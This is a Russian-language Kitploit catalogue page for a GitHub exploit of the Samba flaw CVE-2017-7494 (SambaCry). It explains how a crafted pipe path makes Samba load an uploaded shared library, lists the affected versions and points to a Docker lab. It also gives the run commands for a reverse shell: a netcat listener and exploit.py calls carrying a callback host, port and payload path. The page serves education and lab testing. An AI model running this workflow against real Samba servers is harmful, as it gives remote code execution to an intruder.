Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-7494 — SambaCry: объяснение и демонстрация эксплуатации | Kitploit
Инструменты/GitHubGitHub/yonliud/cve-2017-7494
Анализ уязвимостейЭксплуатацияОбучение и ОбразованиеЛаборатории и Практика
GitHubyonliud/cve-2017-7494

CVE-2017-7494

SambaCry: объяснение и демонстрация эксплуатации

Репозиторий
2226 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт SambaCry (CVE-2017-7494)

CVE-2017-7494/SambaCry позволяет аутентифицированным пользователям загружать общую библиотеку в доступную для записи папку и выполнять атаку с исполнением кода, используя загруженные библиотеки.

Описание уязвимости

SambaCry — это уязвимость проверки путей в том, как Samba обрабатывает запросы к именованным каналам (named pipes). Обычно такие каналы используются для того, чтобы программы могли взаимодействовать друг с другом, читая и записывая данные через канал, подобный файловому.

Когда Samba получает неизвестное имя канала, уязвимые версии могут трактовать его как имя динамически загружаемого модуля. Обычно такими модулями являются легитимные библиотеки .so, установленные администратором.

Уязвимость позволяет клиенту передавать абсолютный путь в файловой системе вместо обычного имени модуля или канала. Samba не ограничивает должным образом этот путь и может фактически выполнить: dlopen("/data/example.so", ...);.

Загрузка общей библиотеки выполняет её код инициализации. Поэтому злоумышленник, способный загрузить вредоносный файл .so в доступное для записи место, может затем заставить службу Samba загрузить его, что приведёт к удалённому выполнению кода.

Демонстрация

https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010

Использование

  1. Инициализируйте слушатель:
root@kitploit:~
nc -lvnp 4444
  1. Выполните полный процесс
root@kitploit:~
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so

Для запуска уже загруженной полезной нагрузки:

root@kitploit:~
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
  1. В терминале слушателя должна появиться оболочка.

Лабораторное окружение

Используйте готовый docker-compose.yml для инициализации уязвимой лаборатории.

root@kitploit:~
docker compose up -d

В лаборатории используется Samba 4.5.9, которая уязвима.

Затронутые версии

3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3

Скачать инструмент